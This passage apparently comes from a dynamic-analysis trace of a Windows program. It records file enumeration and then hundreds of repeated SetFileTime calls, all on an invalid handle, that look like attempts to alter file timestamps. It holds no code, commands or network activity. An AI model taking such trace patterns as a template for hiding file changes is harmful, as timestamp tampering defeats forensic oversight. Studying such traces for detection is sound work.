ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="netevbda.inf_loc", cAlternateFileName="")) returned 1 [0144.965] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.965] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.966] CloseHandle (hObject=0xffffffff) returned 0 [0144.966] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.966] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.966] CloseHandle (hObject=0xffffffff) returned 0 [0144.967] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.967] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.967] CloseHandle (hObject=0xffffffff) returned 0 [0144.967] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.967] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.967] CloseHandle (hObject=0xffffffff) returned 0 [0144.968] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.968] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.968] CloseHandle (hObject=0xffffffff) returned 0 [0144.968] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.969] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.969] CloseHandle (hObject=0xffffffff) returned 0 [0144.969] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.969] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.969] CloseHandle (hObject=0xffffffff) returned 0 [0144.970] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.970] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.970] CloseHandle (hObject=0xffffffff) returned 0 [0144.970] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.970] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.971] CloseHandle (hObject=0xffffffff) returned 0 [0144.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.971] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.971] CloseHandle (hObject=0xffffffff) returned 0 [0144.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.972] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.972] CloseHandle (hObject=0xffffffff) returned 0 [0144.972] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.972] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.972] CloseHandle (hObject=0xffffffff) returned 0 [0144.973] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.973] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.973] CloseHandle (hObject=0xffffffff) returned 0 [0144.973] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.974] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.974] CloseHandle (hObject=0xffffffff) returned 0 [0144.974] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.974] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.974] CloseHandle (hObject=0xffffffff) returned 0 [0144.975] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.975] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.975] CloseHandle (hObject=0xffffffff) returned 0 [0144.975] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.976] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.976] CloseHandle (hObject=0xffffffff) returned 0 [0144.976] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.976] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.976] CloseHandle (hObject=0xffffffff) returned 0 [0144.977] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.977] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.977] CloseHandle (hObject=0xffffffff) returned 0 [0144.977] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.977] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.978] CloseHandle (hObject=0xffffffff) returned 0 [0144.978] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.978] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.978] CloseHandle (hObject=0xffffffff) returned 0 [0144.979] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.979] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.979] CloseHandle (hObject=0xffffffff) returned 0 [0144.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.981] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.981] CloseHandle (hObject=0xffffffff) returned 0 [0144.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.982] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.982] CloseHandle (hObject=0xffffffff) returned 0 [0144.982] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.982] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.982] CloseHandle (hObject=0xffffffff) returned 0 [0144.983] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.983] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.983] CloseHandle (hObject=0xffffffff) returned 0 [0144.983] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.983] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.984] CloseHandle (hObject=0xffffffff) returned 0 [0144.984] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.984] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.984] CloseHandle (hObject=0xffffffff) returned 0 [0144.984] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.985] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.985] CloseHandle (hObject=0xffffffff) returned 0 [0144.985] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.985] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.985] CloseHandle (hObject=0xffffffff) returned 0 [0144.985] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.986] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.986] CloseHandle (hObject=0xffffffff) returned 0 [0144.986] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.986] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.986] CloseHandle (hObject=0xffffffff) returned 0 [0144.986] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.987] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.987] CloseHandle (hObject=0xffffffff) returned 0 [0144.987] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.987] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.987] CloseHandle (hObject=0xffffffff) returned 0 [0144.987] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.988] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.988] CloseHandle (hObject=0xffffffff) returned 0 [0144.988] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.988] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.988] CloseHandle (hObject=0xffffffff) returned 0 [0144.988] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.989] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.989] CloseHandle (hObject=0xffffffff) returned 0 [0144.989] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.989] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.989] CloseHandle (hObject=0xffffffff) returned 0 [0144.990] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.990] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.990] CloseHandle (hObject=0xffffffff) returned 0 [0144.990] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.990] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.990] CloseHandle (hObject=0xffffffff) returned 0 [0144.991] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.991] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.991] CloseHandle (hObject=0xffffffff) returned 0 [0144.991] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.991] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.991] CloseHandle (hObject=0xffffffff) returned 0 [0144.992] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.992] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.992] CloseHandle (hObject=0xffffffff) returned 0 [0144.992] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.992] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.992] CloseHandle (hObject=0xffffffff) returned 0 [0144.993] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.993] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.993] CloseHandle (hObject=0xffffffff) returned 0 [0144.993] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.993] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.993] CloseHandle (hObject=0xffffffff) returned 0 [0144.994] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.994] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.994] CloseHandle (hObject=0xffffffff) returned 0 [0144.994] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.994] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.994] CloseHandle (hObject=0xffffffff) returned 0 [0144.995] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.995] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.995] CloseHandle (hObject=0xffffffff) returned 0 [0144.995] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.995] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.995] CloseHandle (hObject=0xffffffff) returned 0 [0144.996] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.996] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.996] CloseHandle (hObject=0xffffffff) returned 0 [0144.996] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.997] CloseHandle (hObject=0xffffffff) returned 0 [0144.997] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.997] CloseHandle (hObject=0xffffffff) returned 0 [0144.998] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.998] CloseHandle (hObject=0xffffffff) returned 0 [0144.998] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.998] CloseHandle (hObject=0xffffffff) returned 0 [0144.999] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.999] CloseHandle (hObject=0xffffffff) returned 0 [0144.999] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.999] CloseHandle (hObject=0xffffffff) returned 0 [0145.000] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.000] CloseHandle (hObject=0xffffffff) returned 0 [0145.000] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.000] CloseHandle (hObject=0xffffffff) returned 0 [0145.000] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.000] CloseHandle (hObject=0xffffffff) returned 0 [0145.001] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.001] CloseHandle (hObject=0xffffffff) returned 0 [0145.001] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.001] CloseHandle (hObject=0xffffffff) returned 0 [0145.002] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.002] CloseHandle (hObject=0xffffffff) returned 0 [0145.002] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.002] CloseHandle (hObject=0xffffffff) returned 0 [0145.002] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.002] CloseHandle (hObject=0xffffffff) returned 0 [0145.003] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.003] CloseHandle (hObject=0xffffffff) returned 0 [0145.003] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.003] CloseHandle (hObject=0xffffffff) returned 0 [0145.003] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.003] CloseHandle (hObject=0xffffffff) returned 0 [0145.004] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.004] CloseHandle (hObject=0xffffffff) returned 0 [0145.004] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.004] CloseHandle (hObject=0xffffffff) returned 0 [0145.005] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.005] CloseHandle (hObject=0xffffffff) returned 0 [0145.005] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.005] CloseHandle (hObject=0xffffffff) returned 0 [0145.005] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.005] CloseHandle (hObject=0xffffffff) returned 0 [0145.006] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.006] CloseHandle (hObject=0xffffffff) returned 0 [0145.006] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.006] CloseHandle (hObject=0xffffffff) returned 0 [0145.006] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.006] CloseHandle (hObject=0xffffffff) returned 0 [0145.007] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.007] CloseHandle (hObject=0xffffffff) returned 0 [0145.007] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.007] CloseHandle (hObject=0xffffffff) returned 0 [0145.007] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.007] CloseHandle (hObject=0xffffffff) returned 0 [0145.008] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.008] CloseHandle (hObject=0xffffffff) returned 0 [0145.008] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.008] CloseHandle (hObject=0xffffffff) returned 0 [0145.008] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.008] CloseHandle (hObject=0xffffffff) returned 0 [0145.009] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.009] CloseHandle (hObject=0xffffffff) returned 0 [0145.009] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.009] CloseHandle (hObject=0xffffffff) returned 0 [0145.009] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.009] CloseHandle (hObject=0xffffffff) returned 0 [0145.011] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.011] CloseHandle (hObject=0xffffffff) returned 0 [0145.011] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.012] CloseHandle (hObject=0xffffffff) returned 0 [0145.012] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.012] CloseHandle (hObject=0xffffffff) returned 0 [0145.012] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.012] CloseHandle (hObject=0xffffffff) returned 0 [0145.013] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.013] CloseHandle (hObject=0xffffffff) returned 0 [0145.014] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.014] CloseHandle (hObject=0xffffffff) returned 0 [0145.014] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.014] CloseHandle (hObject=0xffffffff) returned 0 [0145.014] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.014] CloseHandle (hObject=0xffffffff) returned 0 [0145.015] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0145.015] CloseHandle (hObject=0xffffffff) returned 0 [0145.015] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) 